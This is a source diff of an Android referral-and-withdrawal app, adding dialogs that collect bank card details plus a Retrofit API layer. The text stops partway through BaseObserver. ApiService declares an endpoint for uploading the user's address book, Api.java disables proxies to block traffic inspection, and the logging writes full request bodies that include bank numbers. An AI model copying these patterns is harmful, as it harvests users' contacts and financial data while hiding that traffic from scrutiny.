+1,205 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 填写银行卡信息 + */ +public class ActionBankInfoDialog extends Dialog { + private final Context context; + private TextView tvBankNameCountry; + private TextView tvbankName; + private EditText bankInfoName; + private EditText bankInfoCode; + private TextView cancelTv; + private TextView sumbitTv; + private String myInviteCode; + private BankInfo itemSelector; + private RecyclerView recyclerView; + private RecyclerView recyclerViewCountry; + private List listdata = new ArrayList<>(); + private List listcountry = new ArrayList<>(); + private MyBankListAdapter adapter; + private MyListAdapter listCountryAdapter; + + public ActionBankInfoDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_bankinfo); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> dismiss()); + tvBankNameCountry = findViewById(R.id.inputcountry_tv); + tvbankName = findViewById(R.id.inputbankname_tv); + bankInfoName = findViewById(R.id.inputname_tv); + bankInfoCode = findViewById(R.id.inputcode_tv); + getBankInfoList(); + sumbitTv = findViewById(R.id.sumbit_tv); + recyclerViewCountry = findViewById(R.id.recycler_bankcountry); + recyclerViewCountry.setLayoutManager(new LinearLayoutManager(context)); + listCountryAdapter = new MyListAdapter(listcountry); + recyclerViewCountry.setAdapter(listCountryAdapter); + listCountryAdapter.setOnItemClick(new MyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + tvBankNameCountry.setText(listcountry.get(position)); + recyclerViewCountry.setVisibility(View.GONE); + } + }); + recyclerView = findViewById(R.id.recycler_bankname); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + adapter = new MyBankListAdapter(listdata); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); + }); + + tvbankName.setText(MainActivity.getString(context, "bankname", "")); + tvBankNameCountry.setText(MainActivity.getString(context, "bankcode", context.getString(R.string.app_bankinfo_countrycode))); + bankInfoName.setText(MainActivity.getString(context, "name", "")); + + bankInfoCode.setText(MainActivity.getString(context, "bankno", "")); + tvBankNameCountry.setOnClickListener(view -> { + recyclerView.setVisibility(View.GONE); + if (recyclerViewCountry.getVisibility() == View.VISIBLE) { + recyclerViewCountry.setVisibility(View.GONE); + return; + } + recyclerViewCountry.setVisibility(View.VISIBLE); + }); + tvbankName.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankcountry_hint), Toast.LENGTH_SHORT).show(); + return; + } + recyclerViewCountry.setVisibility(View.GONE); + if (recyclerView.getVisibility() == View.VISIBLE) { + recyclerView.setVisibility(View.GONE); + return; + } + recyclerView.setVisibility(View.VISIBLE); + }); + + sumbitTv.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankname_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoName.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_name_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoCode.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_code_hint), Toast.LENGTH_SHORT).show(); + return; + } + + toSubmit(tvbankName.getText().toString(), bankInfoName.getText().toString(), bankInfoCode.getText().toString()); + + }); + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getBankInfoList() { + Api.getInstance().getBankInfoList() + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>>() { + @Override + public void onSuccess(Result>> o) { + + listdata.clear(); + listcountry.clear(); + if (o.data != null) { + for (Map.Entry> entry : o.data.entrySet()) { + listdata.addAll(entry.getValue()); + listcountry.add(entry.getKey()); + } + adapter.setListdata(listdata); + listCountryAdapter.setListdata(listcountry); + } + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result>> o) { + + } + }); + } + + public void toSubmit(String bankname, String bankinfoname, String bankinfocode) { + HashMap map = new HashMap<>(); + map.put("inviteCode", myInviteCode); + map.put("name", bankinfoname); + map.put("bankNo", bankinfocode); + map.put("bankId", itemSelector.getId()); + map.put("bankName", bankname); + Api.getInstance().sendBankInfo(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + dismiss(); + MainActivity.saveString(context, "bankname", bankname); + MainActivity.saveString(context, "name", bankinfoname); + MainActivity.saveString(context, "bankno", bankinfocode); + MainActivity.saveString(context, "bankcode", itemSelector.getBankCode()); + } + + @Override + public void onError(int code, String msg) { + Toast.makeText(context, msg, Toast.LENGTH_SHORT).show(); + + } + + @Override + public void onError2(Result o) { + Toast.makeText(context, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + +} diff --git a/base_sg/src/main/java/com/web/base/ActionConfirmDialog.java b/base_sg/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_sg/src/main/java/com/web/base/ActionInviteDialog.java b/base_sg/src/main/java/com/web/base/ActionInviteDialog.java new file mode 100644 index 0000000..3ec9f8f --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionInviteDialog.java @@ -0,0 +1,104 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 填写邀请码 + */ +public class ActionInviteDialog extends Dialog { + private final Context context; + private View lineV; + + + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionInviteDialog(Context context, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.showCancel = showCancel; + } + + public ActionInviteDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_sg/src/main/java/com/web/base/ActionInviteRecordsDialog.java b/base_sg/src/main/java/com/web/base/ActionInviteRecordsDialog.java new file mode 100644 index 0000000..02db642 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -0,0 +1,120 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示邀请记录 + */ +public class ActionInviteRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyListAdapter listAdapter; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionInviteRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvTitle = findViewById(R.id.content_tv); + tvBalance = findViewById(R.id.balance_tv); + tvTotalEarning = findViewById(R.id.totalearnings_tv); + tvTitle.setText(context.getString(R.string.app_invitetitle)); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyListAdapter(listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if(o.data!=null){ + findViewById(R.id.layout_balance).setVisibility(View.VISIBLE); + InviteListInfo inviteInfo = o.data; + tvBalance.setText(String.format(context.getString(R.string.app_balance), inviteInfo.getInviteCode().getBalance())); + tvTotalEarning.setText(String.format(context.getString(R.string.app_totalearning), inviteInfo.getInviteCode().getIncome())); + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + tvTitle.setText(context.getString(R.string.app_invitetitle) + " (" + inviteInfo.getTotal() + ")"); + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + }); + } +} diff --git a/base_sg/src/main/java/com/web/base/ActionSelectDialog.java b/base_sg/src/main/java/com/web/base/ActionSelectDialog.java new file mode 100644 index 0000000..aad19a6 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionSelectDialog.java @@ -0,0 +1,95 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +public class ActionSelectDialog extends Dialog { + + private TextView shareTv; + private TextView checkTv; + OnToActionListener onToLoginListener; + private Context mContext; + + public interface OnToActionListener { + void toShare(); + + void toCheck(); + + void toWithDrawRecords(); + + void toWithDrawApply(); + + void toBankInfo(); + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToLoginListener = onNextCallListener; + } + + + public ActionSelectDialog(Context context) { + super(context, R.style.MaterialDesignDialog); + this.mContext = context; + + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.dialog_select_action); + + shareTv = (TextView) findViewById(R.id.share); + checkTv = (TextView) findViewById(R.id.check); + + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); + } + }); + checkTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toCheck(); + } + }); + //提现记录 + findViewById(R.id.withdraw).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawRecords(); + } + }); + //提现申请 + findViewById(R.id.withdraw_apply).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawApply(); + } + }); + //银行卡信息 + findViewById(R.id.bankinfo).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toBankInfo(); + } + }); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.BOTTOM; + wlp.width = WindowManager.LayoutParams.MATCH_PARENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + window.setAttributes(wlp); + } + + +} diff --git a/base_sg/src/main/java/com/web/base/ActionWithDrawApplyDialog.java b/base_sg/src/main/java/com/web/base/ActionWithDrawApplyDialog.java new file mode 100644 index 0000000..67e6b23 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -0,0 +1,112 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 提现申请 + */ +public class ActionWithDrawApplyDialog extends Dialog { + private final Context context; + private View lineV; + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + private TextView balanceTv; + String content; + String cancel = null; + String sure = null; + String myInviteCode; + private boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionWithDrawApplyDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + public ActionWithDrawApplyDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_withdrawapply); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + balanceTv = findViewById(R.id.balance_tv); + balanceTv.setText(String.format(context.getString(R.string.app_balance), MainActivity.getString(context, "balance", "0"))); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + findViewById(R.id.tv_records).setOnClickListener(view -> { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(context, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + }); + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_withdraw_apply_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_sg/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java b/base_sg/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java new file mode 100644 index 0000000..a9f8fbe --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -0,0 +1,118 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示申请记录 + */ +public class ActionWithDrawRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyWithDrwaListAdapter listAdapter; + private TextView tvNoData; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionWithDrawRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvNoData = findViewById(R.id.tv_nodata); + tvTitle = findViewById(R.id.content_tv); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + tvTitle.setText(context.getString(R.string.app_withdrawtitle)); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyWithDrwaListAdapter(context, listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getWithDrawRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + WithDrawListInfo inviteInfo = o.data; + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + }); + } +} diff --git a/base_sg/src/main/java/com/web/base/Api.java b/base_sg/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_sg/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/base_sg/src/main/java/com/web/base/ApiService.java b/base_sg/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..8457d7c --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,108 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + //String URL = "http://8.218.177.7:18000/"; + String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + String savenotify ="notify"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 验证邀请码 + */ + @PUT("api/invite/send") + Observable> checkInvited(@Body Map map); + + /** + * 获取我的邀请码 + */ + @POST("api/invite/my") + Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + /** + * 获取邀请记录 + */ + @GET("/api/invite/records") + Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 获取提现记录 + */ + @GET("/api/withdraw") + Observable> getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + + /** + * 获取银行列表 + */ + @GET("/api/withdraw/banks") + Observable>>> getBankInfoList(); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/base_sg/src/main/java/com/web/base/BankInfo.java b/base_sg/src/main/java/com/web/base/BankInfo.java new file mode 100644 index 0000000..c1bb3de --- /dev/null +++ b/base_sg/src/main/java/com/web/base/BankInfo.java @@ -0,0 +1,43 @@ +package com.web.base; + +import java.io.Serializable; + +public class BankInfo implements Serializable { + + private String bankCode; + private String bankName; + private String country; + private int id; + + public String getBankCode() { + return bankCode; + } + + public void setBankCode(String bankCode) { + this.bankCode = bankCode; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCountry() { + return country; + } + + public void setCountry(String country) { + this.country = country; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } +} diff --git a/base_sg/src/main/java/com/web/base/BaseApi.java b/base_sg/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_sg/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_sg/src/main/java/com/web/base/BaseObserver.java b/base_sg/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 